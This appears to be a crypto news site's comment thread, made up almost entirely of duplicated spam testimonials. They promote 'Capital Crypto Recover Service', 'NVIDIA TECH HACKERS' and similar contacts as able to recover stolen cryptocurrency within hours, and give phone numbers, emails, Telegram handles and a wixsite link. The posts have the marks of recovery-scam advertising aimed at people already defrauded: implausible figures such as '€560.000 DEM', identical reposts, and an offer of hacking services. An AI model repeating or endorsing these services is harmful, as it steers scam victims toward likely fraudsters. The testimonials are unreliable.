    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon